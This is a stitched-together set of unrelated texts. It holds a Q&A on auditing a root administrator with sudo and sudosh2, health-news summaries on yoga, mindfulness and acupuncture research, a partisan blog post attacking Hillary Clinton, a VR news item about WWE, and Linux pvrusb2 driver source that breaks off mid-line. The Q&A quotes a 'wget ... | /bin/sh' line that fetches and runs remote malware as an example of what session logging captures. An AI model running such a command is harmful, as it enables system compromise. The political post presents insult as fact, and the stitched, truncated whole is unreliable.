Q: Log every command executed from root I want to give access to my root server to an external system administrator, but i want to be sure to double check what he is doing to my server, e.g. copying data i don't want them to do and so on. I would also like to take a track of whatever file is accessed, even in read only and not edited. How can i do that? A: Don't give him root access. Instead, give him an un-privileged user account and request that he do all of his work through sudo, which will log all of his commands. Keep in mind that if this person has ill intentions and you give him full sudo privileges, he will find a way to carry out those ill intentions without those commands being logged. In this case, only grant him access to the specific commands he needs to do his job. A: Trust, but verify! Check out sudosh2. sudosh2 is provided by FreeBSD ports. Packages are available for RedHat and Ubuntu. Here is the description from their website: sudosh is an auditing shell filter and can be used as a login shell. Sudosh records all keystrokes and output and can play back the session as just like a VCR. Sudosh will allow you to replay the user's session, which will allow you to see all input and output as the user saw it. You see everything, keystrokes, typos, backspaces, what did they edit in vi, the output of wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, etc. It's possible to send sudosh logs to syslog, so that they can be stored on a central syslog server away from the system. Note that sudosh2 is a replacement for sudosh, which was abandoned by it's author Do you work at an academic institution where users insist on having superuser privledges? Or do you work at a corporation and want to allow users to have superuser privileges on their own VMs? This might be the solution for you.

Friday, January 25, 2013 The 5,000-year-old Indian practice may have positive effects on major psychiatric disorders, including depression, schizophrenia, ADHD and sleep complaints Yoga has positive effects on mild depression and sleep complaints, even in the absence of drug treatments, and improves symptoms associated with schizophrenia and ADHD in patients on medication, according to a systematic review of the exercise on major clinical psychiatric disorders. Published in the open-access journal, Frontiers in Psychiatry, on January 25th, 2013, the review of more than one hundred studies focusing on 16 high-quality controlled studies looked at the effects of yoga on depression, schizophrenia, ADHD, sleep complaints, eating disorders and cognition problems. Yoga in popular culture Yoga is a popular exercise and is practiced by 15.8 million adults in the United States alone, according to a survey by the Harris Interactive Service Bureau, and its holistic goal of promoting psychical and mental health is widely held in popular belief. "However, yoga has become such a cultural phenomenon that it has become difficult for physicians and patients to differentiate legitimate claims from hype," wrote the authors in their study. "Our goal was to examine whether the evidence matched the promise." Benefits of the exercise were found for all mental health illnesses included in the review, except for eating disorders and cognition problems as the evidence for these was conflicting or lacking. Dr. P. Murali Doraiswamy, a professor of psychiatry and medicine at Duke University Medical Center, US, and author of the study, explained that the emerging scientific evidence in support of the 5,000 year old Indian practice on psychiatric disorders is "highly promising" and showed that yoga may not only help to improve symptoms, but also may have an ancillary role in the prevention of stress-related mental illnesses. The review found evidence from biomarker studies showing that yoga influences key elements of the human body thought to play a role in mental health in similar ways to that of antidepressants and psychotherapy. One study found that the exercise affects neurotransmitters, inflammation, oxidative stress, lipids, growth factors and second messengers. Unmet need among mental health patients Depression alone affects more than 350 million people globally and is the leading cause of disability worldwide, according to the World Health Organization (WHO). On World Mental Health Day last year, the WHO called for improved access to treatments. While there has been an increase in the number of medications available for mental health disorders, many of which can be life saving for patients, there remains "a considerable unmet need," according to Dr. Meera Balasubramaniam, lead author of the study, who is also based at Duke University, US. Poor compliance and relapse as well as treatment resistance are growing problems, and medications are expensive and can leave patients with significant side effects. The Primary Care study, carried out by WHO, found that 60% of patients were still depressed after a year of being treated with an anti-depressant and a National Institute of Mental Health funded research showed remission in only one-third of patients. "The search for improved treatments, including non-drug based, to meet the holistic needs of patients is of paramount importance and we call for more research into yoga as a global priority," said Doraiswamy. "If the promise of yoga on mental health was found in a drug, it would be the best selling medication world-wide," he added. There are many benefits associated with practicing yoga for improving mental health, including, fewer side effects, relatively low cost, generally good access and the improvement of physical fitness, added the authors. The authors also note that while the results are promising, the findings should be viewed as preliminary because all studies of yoga to date have consisted of small samples, and more rigorous research will be needed before the exercise can be applied to help patients with mental health disorders. Thursday, January 17, 2013 People suffering from chronic inflammatory conditions, such as rheumatoid arthritis, inflammatory bowel disease and asthma -- in which psychological stress plays a major role -- may benefit from mindfulness meditation techniques, according to a study by University of Wisconsin-Madison neuroscientists with the Center for Investigating Healthy Minds at the Waisman Center. Mindfulness-based stress reduction, originally designed for patients with chronic pain, consists of continuously focusing attention on the breath, bodily sensations and mental content while seated, walking or practicing yoga. While interest in meditation as a means of reducing stress has grown over the years, there has been little evidence to support benefits specific to mindfulness meditation practice. This was the first study designed to control for other therapeutic mechanisms, such as supportive social interaction, expert instruction, or learning new skills. A class in stress reduction can be beneficial in many ways, some of which have little to do with mindfulness, according to Melissa Rosenkranz, assistant scientist at the center and lead author on the paper, which was published recently in the journal Brain, Behavior and Immunity. For example, learning to manage stress by engaging in regular physical activity may be therapeutic. "We wanted to develop an intervention that was meant to produce positive change and compare the mindfulness approach to an intervention that was structurally equivalent," Rosenkranz says. The study compared two methods of reducing stress: a mindfulness meditation-based approach, and a program designed to enhance health in ways unrelated to mindfulness. The comparison group participated in the Health Enhancement Program, which consisted of nutritional education; physical activity, such as walking; balance, agility and core strengthening; and music therapy. The content of the program was meant to match aspects of the mindfulness instruction in some way. For example, physical exercise was meant to match walking meditation, without the mindfulness component. Both groups had the same amount of training, the same level of expertise in the instructors, and the same amount of home practice required by participants. "In this setting, we could see if there were changes that we could detect that were specific to mindfulness," Rosenkranz explains. Using a tool called the Trier Social Stress Test to induce psychological stress, and a capsaicin cream to produce inflammation on the skin, immune and endocrine measures were collected before and after training in the two methods. While both techniques were proven effective in reducing stress, the mindfulness-based stress reduction approach was more effective at reducing stress-induced inflammation. The results show that behavioral interventions designed to reduce emotional reactivity are beneficial to people suffering from chronic inflammatory conditions. The study also suggests that mindfulness techniques may be more effective in relieving inflammatory symptoms than other activities that promote well-being. Rosenkranz emphasizes that the mindfulness-based approach is not a magic bullet. "This is not a cure-all, but our study does show that there are specific ways that mindfulness can be beneficial, and that there are specific people who may be more likely to benefit from this approach than other interventions." Significant portions of the population do not benefit from available pharmaceutical treatment options, for example. Some of these patients suffer from negative side effects of the drugs, or simply do not respond to the standard-of-care for treatment of the disorder. "The mindfulness-based approach to stress reduction may offer a lower-cost alternative or complement to standard treatment, and it can be practiced easily by patients in their own homes, whenever they need," Rosenkranz says. Scientists at the Center for Investigating Healthy Minds conduct rigorous research on the physiological effects of meditation on the brain, and the power of the brain to influence human health. This study adds to the growing body of knowledge concerning the mechanisms of mindfulness and how it affects the body. This work was supported by grants from the National Center for Complementary and Alternative Medicine (U01AT002114-01A1 to Antoine Lutz; and P01-AT004952 to Richard J. Davidson), the National Institute of Mental Health (P50-MH069315 to Richard J. Davidson), and a core grant from the National Institutes of Health to the Waisman Center (P30-HD003352, to Marsha Selzer), the Fetzer Institute, the John Templeton Foundation, and the Mental Insight Foundation. Monday, January 14, 2013 Children who regularly see specialists for chronic medical conditions are also using complementary medicine at a high rate, demonstrates recently published research from the University of Alberta and the University of Ottawa. About 71 per cent of pediatric patients attending various specialty clinics at the Stollery Children's Hospital in Edmonton used alternative medicine, while the rate of use at the Children's Hospital of Eastern Ontario in Ottawa was 42 per cent. Nearly 20 per cent of the families who took part in the study said they never told their physician or pharmacist about concurrently using prescription and alternative medicine. Sunita Vohra, a researcher with the Faculty of Medicine & Dentistry at the U of A, was the lead investigator on the study, which was recently published in the peer-reviewed journal Pediatrics. Her co-investigator was W James King from the University of Ottawa. "The children in this study are often given prescription medicines," says Vohra, a pediatrician who works in the Department of Pediatrics and the School of Public Health at the U of A. "And many of these children used complementary therapies at the same time or instead of taking prescription medicine. We asked families if they would like to talk about the use of alternative medicine, more than 80 per cent of them said, 'yes, please.' "Right now, these families are getting information about alternative medicine from friends, family and the Internet, but a key place they should be getting this information from is their doctor or another member of their health-care team, who would know about possible drug interactions with prescription medicines." Vohra said the study "identified a gap in communications" in dealing with pediatric patients and their families. "It's important to get these conversations going with every patient, especially when you consider it's not widely recognized how common it is for children with chronic illnesses to use alternative medicine," says the Alberta Innovates-Health Solutions scholar. "We need to make sure these families are comfortable telling their specialists they are taking other therapies," she said. Right now, Vohra and her colleagues at the U of A have developed curricula for undergraduate medical students about the use of alternative medicine by pediatric patients, which is considered innovative and novel. Ensuring medical students receive information about alternative medicine is key because it arms them with more knowledge about potential interactions with prescription medicine, says Vohra. "Considering parents are saying they want this information, we have an obligation to ensure future physicians have the education and resources they need for these conversations," Vohra says. The effects of acute acupuncture applied during exercise on performance factors such as power and blood pressure and on the body's ability to recover post-exercise were evaluated in a review article published in The Journal of Alternative and Complementary Medicine, a peer-reviewed journal from Mary Ann Liebert, Inc., publishers. The article is available free on the Journal website. A review of the literature uncovered four studies designed to test whether a person receiving acupuncture while exercising would have enhanced exercise performance and/or recover more quickly from an exercise session. In their systematic review article, Paola Urroz, Ben Colagiuri, Caroline Smith, and Birinder Singh Cheema, University of Western Sydney (Campbelltown), and University of Sydney, Australia, suggest that based on these four published studies, acupuncture may have a positive effect. They caution, however, that additional trials, with larger numbers of participants and randomized, controlled study designs, as well as standardized reporting of research methods and results, are needed to confirm and more thoroughly explore the effects of acupuncture on exercise performance and recovery.

Another e-mail scandal (see see BREAKING: Clinton Email Investigation REOPENED...Because Anthony Weiner?!), but isn't this really all Hillary's fault in the first place? Her campaign won't say no. Double negative, I know. This whole election season has gotten me used to the double speak. Watch the video and you'll get it. Tapper pointed out the Clinton campaign has very quickly turned on James Comey, considering how laudatory they were of him even just last week. Podesta insisted that they’re just reaction to an “unprecedented action” on his part. Side note, it's not unprecedented. (see FLASHBACK: Bill Clinton Celebrated Last Minute Indictment in 1992) But Tapper also got around to the setup of the server in the first place and said that all of this is only happening because of Clinton’s “horrible decision” to set up the server in the first place. Podesta insisted that she’s learned from this. Tapper asked, “What has she learned?” Podesta said Clinton wouldn’t do it again. LOL, he means she wouldn't get caught. It really is remarkable that Hillary Clinton seems incapable of expressing actual remorse for her actions that have subsequently hurt others. If Hillary could turn back the clock, would she obey the law regarding classified emails the careless of which put Americans at risk? Well she wouldn't get caught. In retrospect, would Hillary have not defended a child rapist whom she admittedly believed was guilty? Well, she was just doing her job! If given a do-over, would she have responded in a more timely manner to save the lives of four American heroes? "WHAT DIFFERENCE DOES IT MAKE?!" Hillary Clinton, my friends, is what you call a "sociopath". NOT SUBSCRIBED TO THE PODCAST? FIX THAT! IT’S COMPLETELY FREE ON BOTH ITUNES HERE AND SOUNDCLOUD HERE.

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The 2015 Consumer Electronics Shows (CES) in Las Vegas, Nevada, USA has seen some big names tied to virtual reality (VR) this week. The likes of the NBA, Artists Den, Skybound Entertainment and more have pledged to make 360 degree video content for viewing with the likes of Samsung’s Gear VR smartphone-based head-mounted display (HMD). Now it’s been revealed that the world’s most popular wresting network, World Wrestling Entertainment (WWE), is also interested in VR content, which it is currently ‘testing out’. The news was announced during a panel at CES titled ‘Masters of Trailblazing Content’, which VRFocus attended. Speaking on the session was WWE’s Chief Strategy & Financial Officer, George A. Barrios. He revealed that the company is currently testing VR content at the WWE Performance Center in Florida. “It’s very, very early days… it’s very expensive; the amount of cameras and post-production needed,” Barrios reasoned. “We’re early days on what the content might be,” he continued. “We saw the live content – Cirque du Soleil – and we were blown away.” The Cirque du Soleil VR experience is an app that can currently be found on Gear VR. It’s possible that this content could be yet another part of Samsung’s Milk VR, a VR video service that recently launched on Gear VR for free. The aforementioned brands are all producing content for this app, suggesting that it will play a large part in the company’s future. Skybound Entertainment in particular has confirmed that it is bringing a new thriller series to the app, while NBA will be producing backstage content for fans to enjoy. It certainly doesn’t take much to think of how VR content could be integrated into WWE. VRFocus will continue to follow all applications of VR, including video, reporting back with any further updates.

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/* * * * Copyright (C) 2005 Mike Isely <isely@pobox.com> * Copyright (C) 2004 Aurelien Alleaume <slts@free.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #include <linux/kernel.h> #include <linux/version.h> #include "pvrusb2-context.h" #include "pvrusb2-hdw.h" #include "pvrusb2.h" #include "pvrusb2-debug.h" #include "pvrusb2-v4l2.h" #include "pvrusb2-ioread.h" #include <linux/videodev2.h> #include <media/v4l2-dev.h> #include <media/v4l2-common.h> #include <media/v4l2-ioctl.h> struct pvr2_v4l2_dev; struct pvr2_v4l2_fh; struct pvr2_v4l2; struct pvr2_v4l2_dev { struct video_device devbase; /* MUST be first! */ struct pvr2_v4l2 *v4lp; struct pvr2_context_stream *stream; /* Information about this device: */ enum pvr2_config config; /* Expected stream format */ int v4l_type; /* V4L defined type for this device node */ enum pvr2_v4l_type minor_type; /* pvr2-understood minor device type */ }; struct pvr2_v4l2_fh { struct pvr2_channel channel; struct pvr2_v4l2_dev *dev_info; enum v4l2_priority prio; struct pvr2_ioread *rhp; struct file *file; struct pvr2_v4l2 *vhead; struct pvr2_v4l2_fh *vnext; struct pvr2_v4l2_fh *vprev; wait_queue_head_t wait_data; int fw_mode_flag; /* Map contiguous ordinal value to input id */ unsigned char *input_map; unsigned int input_cnt; }; struct pvr2_v4l2 { struct pvr2_channel channel; struct pvr2_v4l2_fh *vfirst; struct pvr2_v4l2_fh *vlast; struct v4l2_prio_state prio; /* streams - Note that these must be separately, individually, * allocated pointers. This is because the v4l core is going to * manage their deletion - separately, individually... */ struct pvr2_v4l2_dev *dev_video; struct pvr2_v4l2_dev *dev_radio; }; static int video_nr[PVR_NUM] = {[0 ... PVR_NUM-1] = -1}; module_param_array(video_nr, int, NULL, 0444); MODULE_PARM_DESC(video_nr, "Offset for device's video dev minor"); static int radio_nr[PVR_NUM] = {[0 ... PVR_NUM-1] = -1}; module_param_array(radio_nr, int, NULL, 0444); MODULE_PARM_DESC(radio_nr, "Offset for device's radio dev minor"); static int vbi_nr[PVR_NUM] = {[0 ... PVR_NUM-1] = -1}; module_param_array(vbi_nr, int, NULL, 0444); MODULE_PARM_DESC(vbi_nr, "Offset for device's vbi dev minor"); static struct v4l2_capability pvr_capability ={ .driver = "pvrusb2", .card = "Hauppauge WinTV pvr-usb2", .bus_info = "usb", .version = KERNEL_VERSION(0, 9, 0), .capabilities = (V4L2_CAP_VIDEO_CAPTURE | V4L2_CAP_TUNER | V4L2_CAP_AUDIO | V4L2_CAP_RADIO | V4L2_CAP_READWRITE), .reserved = {0,0,0,0} }; static struct v4l2_fmtdesc pvr_fmtdesc [] = { { .index = 0, .type = V4L2_BUF_TYPE_VIDEO_CAPTURE, .flags = V4L2_FMT_FLAG_COMPRESSED, .description = "MPEG1/2", // This should really be V4L2_PIX_FMT_MPEG, but xawtv // breaks when I do that. .pixelformat = 0, // V4L2_PIX_FMT_MPEG, .reserved = { 0, 0, 0, 0 } } }; #define PVR_FORMAT_PIX 0 #define PVR_FORMAT_VBI 1 static struct v4l2_format pvr_format [] = { [PVR_FORMAT_PIX] = { .type = V4L2_BUF_TYPE_VIDEO_CAPTURE, .fmt = { .pix = { .width = 720, .height = 576, // This should really be V4L2_PIX_FMT_MPEG, // but xawtv breaks when I do that. .pixelformat = 0, // V4L2_PIX_FMT_MPEG, .field = V4L2_FIELD_INTERLACED, .bytesperline = 0, // doesn't make sense // here //FIXME : Don't know what to put here... .sizeimage = (32*1024), .colorspace = 0, // doesn't make sense here .priv = 0 } } }, [PVR_FORMAT_VBI] = { .type = V4L2_BUF_TYPE_VBI_CAPTURE, .fmt = { .vbi = { .sampling_rate = 27000000, .offset = 248, .samples_per_line = 1443, .sample_format = V4L2_PIX_FMT_GREY, .start = { 0, 0 }, .count = { 0, 0 }, .flags = 0, .reserved = { 0, 0 } } } } }; static const char *get_v4l_name(int v4l_type) { switch (v4l_type) { case VFL_TYPE_GRABBER: return "video"; case VFL_TYPE_RADIO: return "radio"; case VFL_TYPE_VBI: return "vbi"; default: return "?"; } } /* * pvr_ioctl() * * This is part of Video 4 Linux API. The procedure handles ioctl() calls. * */ static long pvr2_v4l2_do_ioctl(struct file *file, unsigned int cmd, void *arg) { struct pvr2_v4l2_fh *fh = file->private_data; struct pvr2_v4l2 *vp = fh->vhead; struct pvr2_v4l2_dev *dev_info = fh->dev_info; struct pvr2_hdw *hdw = fh->channel.mc_head->hdw; long ret = -EINVAL; if (pvrusb2_debug & PVR2_TRACE_V4LIOCTL) { v4l_print_ioctl(pvr2_hdw_get_driver_name(hdw),cmd); } if (!pvr2_hdw_dev_ok(hdw)) { pvr2_trace(PVR2_TRACE_ERROR_LEGS, "ioctl failed - bad or no context"); return -EFAULT; } /* check priority */ switch (cmd) { case VIDIOC_S_CTRL: case VIDIOC_S_STD: case VIDIOC_S_INPUT: case VIDIOC_S_TUNER: case VIDIOC_S_FREQUENCY: ret = v4l2_prio_check(&vp->prio, &fh->prio); if (ret) return ret; } switch (cmd) { case VIDIOC_QUERYCAP: { struct v4l2_capability *cap = arg; memcpy(cap, &pvr_capability, sizeof(struct v4l2_capability)); strlcpy(cap->bus_info,pvr2_hdw_get_bus_info(hdw), sizeof(cap->bus_info)); strlcpy(cap->card,pvr2_hdw_get_desc(hdw),sizeof(cap->card)); ret = 0; break; } case VIDIOC_G_PRIORITY: { enum v4l2_priority *p = arg; *p = v4l2_prio_max(&vp->prio); ret = 0; break; } case VIDIOC_S_PRIORITY: { enum v4l2_priority *prio = arg; ret = v4l2_prio_change(&vp->prio, &fh->prio, *prio); break; } case VIDIOC_ENUMSTD: { struct v4l2_standard *vs = (struct v4l2_standard *)arg; int idx = vs->index; ret = pvr2_hdw_get_stdenum_value(hdw,vs,idx+1); break; } case VIDIOC_G_STD: { int val = 0; ret = pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_STDCUR),&val); *(v4l2_std_id *)arg = val; break; } case VIDIOC_S_STD: { ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_STDCUR), *(v4l2_std_id *)arg); break; } case VIDIOC_ENUMINPUT: { struct pvr2_ctrl *cptr; struct v4l2_input *vi = (struct v4l2_input *)arg; struct v4l2_input tmp; unsigned int cnt; int val; cptr = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT); memset(&tmp,0,sizeof(tmp)); tmp.index = vi->index; ret = 0; if (vi->index >= fh->input_cnt) { ret = -EINVAL; break; } val = fh->input_map[vi->index]; switch (val) { case PVR2_CVAL_INPUT_TV: case PVR2_CVAL_INPUT_DTV: case PVR2_CVAL_INPUT_RADIO: tmp.type = V4L2_INPUT_TYPE_TUNER; break; case PVR2_CVAL_INPUT_SVIDEO: case PVR2_CVAL_INPUT_COMPOSITE: tmp.type = V4L2_INPUT_TYPE_CAMERA; break; default: ret = -EINVAL; break; } if (ret < 0) break; cnt = 0; pvr2_ctrl_get_valname(cptr,val, tmp.name,sizeof(tmp.name)-1,&cnt); tmp.name[cnt] = 0; /* Don't bother with audioset, since this driver currently always switches the audio whenever the video is switched. */ /* Handling std is a tougher problem. It doesn't make sense in cases where a device might be multi-standard. We could just copy out the current value for the standard, but it can change over time. For now just leave it zero. */ memcpy(vi, &tmp, sizeof(tmp)); ret = 0; break; } case VIDIOC_G_INPUT: { unsigned int idx; struct pvr2_ctrl *cptr; struct v4l2_input *vi = (struct v4l2_input *)arg; int val; cptr = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT); val = 0; ret = pvr2_ctrl_get_value(cptr,&val); vi->index = 0; for (idx = 0; idx < fh->input_cnt; idx++) { if (fh->input_map[idx] == val) { vi->index = idx; break; } } break; } case VIDIOC_S_INPUT: { struct v4l2_input *vi = (struct v4l2_input *)arg; if (vi->index >= fh->input_cnt) { ret = -ERANGE; break; } ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT), fh->input_map[vi->index]); break; } case VIDIOC_ENUMAUDIO: { /* pkt: FIXME: We are returning one "fake" input here which could very well be called "whatever_we_like". This is for apps that want to see an audio input just to feel comfortable, as well as to test if it can do stereo or sth. There is actually no guarantee that the actual audio input cannot change behind the app's back, but most applications should not mind that either. Hopefully, mplayer people will work with us on this (this whole mess is to support mplayer pvr://), or Hans will come up with a more standard way to say "we have inputs but we don 't want you to change them independent of video" which will sort this mess. */ struct v4l2_audio *vin = arg; ret = -EINVAL; if (vin->index > 0) break; strncpy(vin->name, "PVRUSB2 Audio",14); vin->capability = V4L2_AUDCAP_STEREO; ret = 0; break; break; } case VIDIOC_G_AUDIO: { /* pkt: FIXME: see above comment (VIDIOC_ENUMAUDIO) */ struct v4l2_audio *vin = arg; memset(vin,0,sizeof(*vin)); vin->index = 0; strncpy(vin->name, "PVRUSB2 Audio",14); vin->capability = V4L2_AUDCAP_STEREO; ret = 0; break; } case VIDIOC_S_AUDIO: { ret = -EINVAL; break; } case VIDIOC_G_TUNER: { struct v4l2_tuner *vt = (struct v4l2_tuner *)arg; if (vt->index != 0) break; /* Only answer for the 1st tuner */ pvr2_hdw_execute_tuner_poll(hdw); ret = pvr2_hdw_get_tuner_status(hdw,vt); break; } case VIDIOC_S_TUNER: { struct v4l2_tuner *vt=(struct v4l2_tuner *)arg; if (vt->index != 0) break; ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_AUDIOMODE), vt->audmode); break; } case VIDIOC_S_FREQUENCY: { const struct v4l2_frequency *vf = (struct v4l2_frequency *)arg; unsigned long fv; struct v4l2_tuner vt; int cur_input; struct pvr2_ctrl *ctrlp; ret = pvr2_hdw_get_tuner_status(hdw,&vt); if (ret != 0) break; ctrlp = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT); ret = pvr2_ctrl_get_value(ctrlp,&cur_input); if (ret != 0) break; if (vf->type == V4L2_TUNER_RADIO) { if (cur_input != PVR2_CVAL_INPUT_RADIO) { pvr2_ctrl_set_value(ctrlp, PVR2_CVAL_INPUT_RADIO); } } else { if (cur_input == PVR2_CVAL_INPUT_RADIO) { pvr2_ctrl_set_value(ctrlp, PVR2_CVAL_INPUT_TV); } } fv = vf->frequency; if (vt.capability & V4L2_TUNER_CAP_LOW) { fv = (fv * 125) / 2; } else { fv = fv * 62500; } ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_FREQUENCY),fv); break; } case VIDIOC_G_FREQUENCY: { struct v4l2_frequency *vf = (struct v4l2_frequency *)arg; int val = 0; int cur_input; struct v4l2_tuner vt; ret = pvr2_hdw_get_tuner_status(hdw,&vt); if (ret != 0) break; ret = pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_FREQUENCY), &val); if (ret != 0) break; pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT), &cur_input); if (cur_input == PVR2_CVAL_INPUT_RADIO) { vf->type = V4L2_TUNER_RADIO; } else { vf->type = V4L2_TUNER_ANALOG_TV; } if (vt.capability & V4L2_TUNER_CAP_LOW) { val = (val * 2) / 125; } else { val /= 62500; } vf->frequency = val; break; } case VIDIOC_ENUM_FMT: { struct v4l2_fmtdesc *fd = (struct v4l2_fmtdesc *)arg; /* Only one format is supported : mpeg.*/ if (fd->index != 0) break; memcpy(fd, pvr_fmtdesc, sizeof(struct v4l2_fmtdesc)); ret = 0; break; } case VIDIOC_G_FMT: { struct v4l2_format *vf = (struct v4l2_format *)arg; int val; switch(vf->type) { case V4L2_BUF_TYPE_VIDEO_CAPTURE: memcpy(vf, &pvr_format[PVR_FORMAT_PIX], sizeof(struct v4l2_format)); val = 0; pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_HRES), &val); vf->fmt.pix.width = val; val = 0; pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_VRES), &val); vf->fmt.pix.height = val; ret = 0; break; case V4L2_BUF_TYPE_VBI_CAPTURE: // ????? Still need to figure out to do VBI correctly ret = -EINVAL; break; default: ret = -EINVAL; break; } break; } case VIDIOC_TRY_FMT: case VIDIOC_S_FMT: { struct v4l2_format *vf = (struct v4l2_format *)arg; ret = 0; switch(vf->type) { case V4L2_BUF_TYPE_VIDEO_CAPTURE: { int lmin,lmax,ldef; struct pvr2_ctrl *hcp,*vcp; int h = vf->fmt.pix.height; int w = vf->fmt.pix.width; hcp = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_HRES); vcp = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_VRES); lmin = pvr2_ctrl_get_min(hcp); lmax = pvr2_ctrl_get_max(hcp); pvr2_ctrl_get_def(hcp, &ldef); if (w == -1) { w = ldef; } else if (w < lmin) { w = lmin; } else if (w > lmax) { w = lmax; } lmin = pvr2_ctrl_get_min(vcp); lmax = pvr2_ctrl_get_max(vcp); pvr2_ctrl_get_def(vcp, &ldef); if (h == -1) { h = ldef; } else if (h < lmin) { h = lmin; } else if (h > lmax) { h = lmax; } memcpy(vf, &pvr_format[PVR_FORMAT_PIX], sizeof(struct v4l2_format)); vf->fmt.pix.width = w; vf->fmt.pix.height = h; if (cmd == VIDIOC_S_FMT) { pvr2_ctrl_set_value(hcp,vf->fmt.pix.width); pvr2_ctrl_set_value(vcp,vf->fmt.pix.height); } } break; case V4L2_BUF_TYPE_VBI_CAPTURE: // ????? Still need to figure out to do VBI correctly ret = -EINVAL; break; default: ret = -EINVAL; break; } break; } case VIDIOC_STREAMON: { if (!fh->dev_info->stream) { /* No stream defined for this node. This means that we're not currently allowed to stream from this node. */ ret = -EPERM; break; } ret = pvr2_hdw_set_stream_type(hdw,dev_info->config); if (ret < 0) return ret; ret = pvr2_hdw_set_streaming(hdw,!0); break; } case VIDIOC_STREAMOFF: { if (!fh->dev_info->stream) { /* No stream defined for this node. This means that we're not currently allowed to stream from this node. */ ret = -EPERM; break; } ret = pvr2_hdw_set_streaming(hdw,0); break; } case VIDIOC_QUERYCTRL: { struct pvr2_ctrl *cptr; int val; struct v4l2_queryctrl *vc = (struct v4l2_queryctrl *)arg; ret = 0; if (vc->id & V4L2_CTRL_FLAG_NEXT_CTRL) { cptr = pvr2_hdw_get_ctrl_nextv4l( hdw,(vc->id & ~V4L2_CTRL_FLAG_NEXT_CTRL)); if (cptr) vc->id = pvr2_ctrl_get_v4lid(cptr); } else { cptr = pvr2_hdw_get_ctrl_v4l(hdw,vc->id); } if (!cptr) { pvr2_trace(PVR2_TRACE_V4LIOCTL, "QUERYCTRL id=0x%x not implemented here", vc->id); ret = -EINVAL; break; } pvr2_trace(PVR2_TRACE_V4LIOCTL, "QUERYCTRL id=0x%x mapping name=%s (%s)", vc->id,pvr2_ctrl_get_name(cptr), pvr2_ctrl_get_desc(cptr)); strlcpy(vc->name,pvr2_ctrl_get_desc(cptr),sizeof(vc->name)); vc->flags = pvr2_ctrl_get_v4lflags(cptr); pvr2_ctrl_get_def(cptr, &val); vc->default_value = val; switch (pvr2_ctrl_get_type(cptr)) { case pvr2_ctl_enum: vc->type = V4L2_CTRL_TYPE_MENU; vc->minimum = 0; vc->maximum = pvr2_ctrl_get_cnt(cptr) - 1; vc->step = 1; break; case pvr2_ctl_bool: vc->type = V4L2_CTRL_TYPE_BOOLEAN; vc->minimum = 0; vc->maximum = 1; vc->step = 1; break; case pvr2_ctl_int: vc->type = V4L2_CTRL_TYPE_INTEGER; vc->minimum = pvr2_ctrl_get_min(cptr); vc->maximum = pvr2_ctrl_get_max(cptr); vc->step = 1; break; default: pvr2_trace(PVR2_TRACE_V4LIOCTL, "QUERYCTRL id=0x%x name=%s not mappable", vc->id,pvr2_ctrl_get_name(cptr)); ret = -EINVAL; break; } break; } case VIDIOC_QUERYMENU: { struct v4l2_querymenu *vm = (struct v4l2_querymenu *)arg; unsigned int cnt = 0; ret = pvr2_ctrl_get_valname(pvr2_hdw_get_ctrl_v4l(hdw,vm->id), vm->index, vm->name,sizeof(vm->name)-1, &cnt); vm->name[cnt] = 0; break; } case VIDIOC_G_CTRL: { struct v4l2_control *vc = (struct v4l2_control *)arg; int val = 0; ret = pvr2_ctrl_get_value(pvr2_hdw_get_ctrl_v4l(hdw,vc->id), &val); vc->value = val; break; } case VIDIOC_S_CTRL: { struct v4l2_control *vc = (struct v4l2_control *)arg; ret = pvr2_ctrl_set_value(pvr2_hdw_get_ctrl_v4l(hdw,vc->id), vc->value); break; } case VIDIOC_G_EXT_CTRLS: { struct v4l2_ext_controls *ctls = (struct v4l2_ext_controls *)arg; struct v4l2_ext_control *ctrl; unsigned int idx; int val; ret = 0; for (idx = 0; idx < ctls->count; idx++) { ctrl = ctls->controls + idx; ret = pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_v4l(hdw,ctrl->id),&val); if (ret) { ctls->error_idx = idx; break; } /* Ensure that if read as a 64 bit value, the user will still get a hopefully sane value */ ctrl->value64 = 0; ctrl->value = val; } break; } case VIDIOC_S_EXT_CTRLS: { struct v4l2_ext_controls *ctls = (struct v4l2_ext_controls *)arg; struct v4l2_ext_control *ctrl; unsigned int idx; ret = 0; for (idx = 0; idx < ctls->count; idx++) { ctrl = ctls->controls + idx; ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_v4l(hdw,ctrl->id), ctrl->value); if (ret) { ctls->error_idx = idx; break; } } break; } case VIDIOC_TRY_EXT_CTRLS: { struct v4l2_ext_controls *ctls = (struct v4l2_ext_controls *)arg; struct v4l2_ext_control *ctrl; struct pvr2_ctrl *pctl; unsigned int idx; /* For the moment just validate that the requested control actually exists. */ ret = 0; for (idx = 0; idx < ctls->count; idx++) { ctrl = ctls->controls + idx; pctl = pvr2_hdw_get_ctrl_v4l(hdw,ctrl->id); if (!pctl) { ret = -EINVAL; ctls->error_idx = idx; break; } } break; } case VIDIOC_CROPCAP: { struct v4l2_cropcap *cap = (struct v4l2_cropcap *)arg; if (cap->type != 